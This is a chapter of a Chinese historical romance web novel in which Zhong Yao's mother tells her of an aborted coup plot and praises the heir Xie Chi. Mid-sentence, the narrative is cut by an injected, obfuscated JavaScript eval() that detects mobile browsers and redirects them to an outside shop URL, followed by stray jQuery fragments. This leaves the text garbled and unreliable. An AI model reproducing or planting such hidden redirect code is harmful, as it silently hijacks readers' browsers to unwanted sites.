9.京中

作品:《三小姐决定去死

    钟夫人惯常来往的多是与自家相差不多的门第,很少有去高官权贵府上赴宴的机会,就是有,她也尽量委婉地拒绝。


    上回去赵老夫人府上贺寿,全是因为赵大人是钟怀秩科考那年的主考官,算是他半个老师。


    钟夫人才在老寿星寿宴上小小报复了下永安侯府的谢老夫人,还心虚着呢,这会儿在别人的庄园里根本不敢多说什么。


    她也没话与侯府这位半大的“义女”说,翻来覆去,不是道谢,就是夸赞薛枋聪慧灵秀,等她夸到薛枋气质清幽、身形飘逸,好似那月宫姿容绝色的小仙姑时,钟遥堪堪从那惊人的猜测中清醒过来,咳了几下,强行把人打断。


    钟夫人连忙过来看她,侍女也快速端来了茶水。


    钟遥被两人服侍着,眼睛悄悄往外纱幔外瞟,看见了不远处的薛枋。


    傍晚那会儿他穿的什么,钟遥已经没印象了,但她敢肯定,那时的他绝对不是现在这副打扮。


    ——头戴素雅碧玉簪,颈悬金玉玛瑙链,身着一袭飘逸的鹅黄蝴蝶纹织锦流仙裙,腰配雅致的白玉流苏禁步,臂弯还松垮地搭着一块草绿色薄纱披帛。


    他个子虽偏高,但还没长开,本就有点雌雄莫辨,此时换上纱裙,可能是芙蓉淡妆、精致衣裙和纤细体型的缘故,年纪显大了两岁,瞧着真就跟含苞待放的少女一般。


    再配上冷淡的表情,确实和钟夫人说的一样,如霜似雪,飘逸清灵,像极了故事里月宫清冷的小仙姑。


    钟遥一眼看过去,被喂到口中的茶水呛了一下,真的咳了起来,扯得伤口一阵阵的疼。


    “慢点慢点,不着急……”钟夫人心疼地抚着她的背。


    薛枋也上前了一步,道:“姐姐当心。”


    语气有点淡,说出的话却是关怀的。


    钟遥头皮发麻,抓紧了钟夫人的手才没让自己没露出怪异的神情。


    “好孩子,真是个好孩子。”钟夫人感动地看着薛枋,连连夸赞,“老夫人好福气,先有谢世子这样谦和英勇的孙儿,再有薛小姐这样灵秀动人的干孙女,真是让人羡慕……”


    话说得十分真诚,就好像她私下里从来没骂过谢老夫人一样。


    “听说薛小姐是头一回进京,等你遥儿姐姐养好了伤,叫她带你在京中好好玩玩……”


    薛枋道:“那最好了。”


    这会儿正是深夜,不管钟夫人是怎么赶来的,现在定然是不能离开的,又客套了几句,薛枋吩咐下人仔细伺候钟家母女二人,然后就离开了。


    离开前,他还给了钟遥一个警告的眼神,大有敢让他丢脸就把她大卸八块的意思。


    钟遥当时脑中混乱,根本没看懂,下意识还了一个笑,把人气得气质更加清冷了。


    这里毕竟不是自己府中,钟夫人不放心,执意要守在女儿床榻旁,没让侍女再收拾房间。


    侍女也很机灵,知道这是有私话要说,没多久就都退下了。


    春夜寂静,等耳边只剩下风声与夜鸟啼鸣了,钟夫人才在钟遥的追问下悄声说起了京中事。


    “……事情都安排的差不多了,谢世子突然出现,从宫门口直入御书房,不到两刻钟的时间,御林军、守宫侍卫就全都调动起来了,几个宫门全都封得死死的……幸好你爹谨慎,还没做手脚……”


    “他有说是因为什么吗?”


    “说有人要逼宫造反。”


    钟遥的心提了起来,害怕地抓住钟夫人的胳膊。


    钟夫人拍了拍她的后背,低声说道:“没提咱们家……说他义妹在回京途中遭遇雾隐山贼寇,被掳走了,谢世子是救人时从他们口中审讯出来的。”


    钟遥知道这是假话,因为造反的事情分明是从她这里逼问出来的。


    她不敢说自己不小心让人把自家的底摸清楚了,悄声问:“那还要起事吗?”


    钟夫人摇头,道:“整个皇城都戒严了,哪里还能有机会动手。”


    原本事成的可能就不高,现在都打草惊蛇了,再动手就真的只有死亡可选了,只能被迫放弃。


    钟遥眼睛一亮,道:“那咱们就不掺和了!太吓人了,娘,我这几日提心吊胆,吓坏了……”


    只要没动手,就不是造反,还有回头路。


    钟夫人这些日子亦是心神不安,这会儿挨着女儿还跟做梦一样。


    她心有余悸地叹了口气,道:“不掺和,咱们府上是安宁的,可再过些日子,等你大哥二哥的事情传回来……”


    钟遥想说现在不一样了,现在有谢世子帮忙。


    但听她娘的意思,谢世子并没有告知她爹娘实情的打算……


    而且……


    钟遥犹豫了会儿,问:“娘,你见着谢世子了?”


    “见着了,就是他派人到咱们府上来告知的,否则我还不知你竟然遭了这么大的罪。”


    钟夫人一想到娇养了这么多年的女儿被贼寇掳走,受了那么多的苦,身上还挨了一刀,就心酸心疼,抚着钟遥的脸哭了起来。


    钟遥与她娘一起哭了会儿,擦去眼泪,问:“谢世子说与我一起被绑的是他义妹薛枋?”


    “嗯。”钟夫人点头,问,“难道不是吗?”


    对外肯定要是的,否则不就成了孤男寡女在荒野山林独处了一宿?


    那种时刻,什么男女之防都是虚的,但现在获救了,肯定是不能大张旗鼓地说出去的,否则两人怕是要被闲言碎语绑在一起。


    对内……


    钟遥不敢看她娘,含糊应了一声,问:“谢


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048170|194535||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    世子长什么模样?好看吗?”


    “好看。”这点完全不需要犹豫,钟夫人肯定地点头,反问,“你没见过吗?”


    不等钟遥回答,她又懊恼道:“我忘了,你伤的这么重,谢世子找过去的时候你该疼晕了,定是没见着他的。”


    钟夫人也听说过谢迟的俊美名号的,知道他是许多闺秀的梦中佳婿,就当是哄女儿了,一点不隐瞒,说得很详细。


    “京中正乱着,你爹走不开,只能我出城来找你,结果在西城门口被官兵拦住了,幸好谢世子经过……”


    “脸是很好看的,可到底是武将……你大哥够挺拔了吧?他比你大哥还高出一截,那么高的马,他腿一抬就下来了,利落得很呢……但人一点也不粗鲁,待人很和气,不仅让人放行,还说夜间恐遭意外,特意遣了几个侍卫送我过来……”


    钟夫人回忆了下见谢迟的那一面,感慨道:“的确是俊美无双、温润如玉,怪不得不管谁提起他都得夸上几句。”


    钟遥真的要听糊涂了。


    种种迹象都表明跟自己一起落难的凶男人就是谢世子,可为什么她见到的和从别人口中听到的天差地别?


    难道他是装的?


    肯定是。


    这人骗人不眨眼,什么愿意娶她、侯爷的救命恩人,谎话张口就来,骗得她好惨。


    钟遥又记起自己提起母亲伺机报复谢老夫人时,谢迟那副阴沉的模样。


    他根本就不可能对自家人那么友善,什么护送她娘出城来找她,真正目的肯定是派人监视,以防她娘做出什么意料之外的事。


    钟遥想通了一切,默默看向钟夫人。


    钟夫人对内情一无所知,正好也提起了谢老夫人,还在感慨:“真是怪了,那么恶毒的老人竟然能养出这般脱俗的孙儿……”


    “……”


    钟遥看着不遗余力贬低仇人、夸赞仇人虚伪孙儿的母亲有点不忍心,搂住钟夫人的腰道:“娘,这种话以后别再说了。”


    钟夫人立刻停了,拍着她的手道:“好,不说了,以后再提到她我肯定闭着眼睛夸……”


    之后钟夫人又说了些京中情况,钟遥心里藏着事,零零散散地听着,就记住了皇帝震怒,一面派了人去抓捕在京外流窜的贼寇,一面命谢迟彻查究竟是什么人妄图逼宫谋逆。


    钟遥心里又是庆幸这事儿落在了谢迟身上,又是担心他要拿自己娘亲给谢老夫人出气,还得分心琢磨谢迟为什么不把真相告知她爹娘。


    难道是怕被自己死缠烂打缠着他?


    钟遥才不会缠着他。


    她很想把实情说给母亲听,犹豫再三,最终为了稳住谢迟这根救命稻草,暂时瞒了下来。


    事实证明,这是一个明智的选择。